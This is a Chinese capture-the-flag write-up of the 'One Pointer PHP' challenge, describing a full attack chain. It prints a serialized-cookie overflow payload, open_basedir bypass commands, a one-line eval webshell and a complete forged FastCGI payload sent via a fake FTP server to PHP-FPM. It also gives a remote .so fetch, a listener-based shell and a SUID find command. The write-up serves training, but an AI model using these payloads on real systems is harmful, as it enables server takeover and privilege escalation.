[蓝帽杯 2021]One Pointer PHP
我们发现源码泄露
user.php
1 |
|
add_api
1 |
|
我们发现要想执行代码,这就要令$count[]=1
这段为假
但是这个是个赋值语句,无论怎样都为int(1)
这里考察到一个点:
数组key溢出
原理就是当key等于PHP int类型数据的最大值时,想要再插入一个更大的值便会造成溢出导致出现Warning,关于PHP int类型数据最大值的参考文献如下:
PHP的int型数据取值范围,与操作系统相关,32位系统上为2的31次方,即-2147483648到2147483647,64位系统上为2的63次方,即-9223372036854775808到9223372036854775807。
所以我们可以令count=9223372036854775806
我们直接构造payload
1 | <?php |
然后将cookie修改为 data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
传上去后,我们查看phpinfo()
我们在phpinfo()中发现disable_functions和open_basedir:
open_basedir可将用户访问文件的活动范围限制在指定的区域
绕过open_basedir
这里受限于open_basedir的限制只能读取Web服务根目录下的文件,我们需要绕过open_basedir,具体绕过方法我们有以下几种方法:
- 命令执行函数绕过(system等命令执行函数)
- 软链接:symlink()函数
- glob伪协议(搭配PHP原生类DirectoryIterator使用)
- 利用ini_set读取文件内容
在这道题中并没有过滤ini_set,因此我们可以构造下面的payload来绕过open_basedir去读取根目录的文件(eval()可以执行多条php语句)
1 | mkdir('ye'); |
或者我们也可以使用PHP原生类DirectoryLterator结合glob协议来列文件
1 | $a = new DirectoryIterator("glob:///*"); |
效果也是一样的。
至此,我们可以构造出读取文件的Payload:
1 | mkdir('ye'); |
但我们无法读取到根目录下的/flag,不过在php.ini中我们看到了加载了一个so扩展
预期题解是Pwn这个so然后来获取flag,pwn师傅没空
除了这个我们也可以想到绕过disable__function直接rce,我们可以通过挂载而已so的方式来突破disable_function来实现rce,挂载so有两种方法
- dl()函数挂载 (dl被ban)
- 直接写入配置文件的extension中
但是这里好像都不可行,所以只能另寻思路。
我们还可以在/usr/local/etc/
目录下看到FPM的文件php-fpm.conf
因此可以确定这个道题使用php-fpm,也可以通过读取/proc/self/cmdline看到FPM的进程
接下来,我们尝试读取fpm的配置文件:
1 | mkdir('ye'); |
我们看到FPM运行在9001端口
接下来就是对FPM进行攻击了
SSRF攻击FPM
我们可以通过ssrf来攻击FPM,但是受限于这道题的disable_functions,我们无法直接SSRF,但是可以利用
file_put_contents()
的一个特性来实现SSRF:
file_put_contents
在使用 ftp 协议时, 会将 data 的内容上传到 ftp 服务器, 由于上面说的pasv
模式下, 服务器的地址和端口是可控, 我们可以将地址和端口指到127.0.0.1:9000
.同时由于 ftp 的特性,不会有任何的多余内容, 类似gopher
协议, 会将data
原封不动的发给127.0.0.1:9000
, 完美符合攻击fastcgi(FPM)的要求.
首先编写一个恶意so来执行命令:
1 |
|
编译文件:
1 | gcc 1.c -fPIC -shared -o 1.so |
然后将so文件上传上去:
1 | /add_api.php?backdoor=mkdir('ye'); chdir('ye');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/');var_dump(copy('YOUR_URL/1.so','/var/www/html/1.so')); |
emmmm,这一步不知道咋传的,我们换种方法,我们用file_put_content传一句话木马上去
1 | ?backdoor=file_put_content("/var/www/html/1.php","<?php eval($_POST[1]);?>"); |
然后我们访问1.php
应该成功上传了
然后我们用蚁剑进行连接,再将编译好的so文件直接拖上去,简简单单
接下来就是想办法SSRF打FPM来挂载so文件实现RCE,可以找到一个直接攻击的Payload,修改一下关键配置:
1 |
|
将上面的exp写入网站根目录(用file_put_contents也可以,方法很多,不列举了),我们直接写入php文件,然后拖到蚁剑里,在url访问php文件可以得到Payload:
1 | ?file=ftp://ip:9999/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B6PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+1.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00 |
然后往我们自己的服务器上上传应该py文件,用于开启Fake FTP
1 | import socket |
或者用php写一个,效果是一样的
1 |
|
然后我们构造如下payload
vps地址和端口(这里的端口为py文件中开启Fake FTP的端口)记得改下
1 | /add_api.php?backdoor=$file=$_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://ip:23/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B6PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+1.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00 |
一切准备完成
我们开两个vps会话,一个用来监听端口(这个端口是之前so文件里的端口),一个用来开启Fake FTP,也就是执行py文件
然后执行我们的payload
1 | /add_api.php?backdoor=$file=$_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://60.204.158.87:23/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B6PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+1.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00 |
我们就成功监听到22222端口了
SUID提权
在RCE了之后我们发现无法直接读取/flag文件,这里还有一个SUID提权的小点:
首先寻找有权限命令的SUID文件:
1 | find / -user root -perm -4000 -print 2>/dev/null |
以上任意一条均可
我们可以看到php命令具有权限
但是还是需要绕过一下open_basedir,依次执行
1 | php -a |
执行该命令的时候要位于/var/www/html
目录下执行
就可以获得flag:
参考
https://www.cnblogs.com/yesec/p/15211484.html
https://odiws.github.io/2024/11/07/%E8%93%9D%E5%B8%BD%E6%9D%AF-2021-One-Pointer-PHP/
https://blog.csdn.net/baidu_39504221/article/details/116720875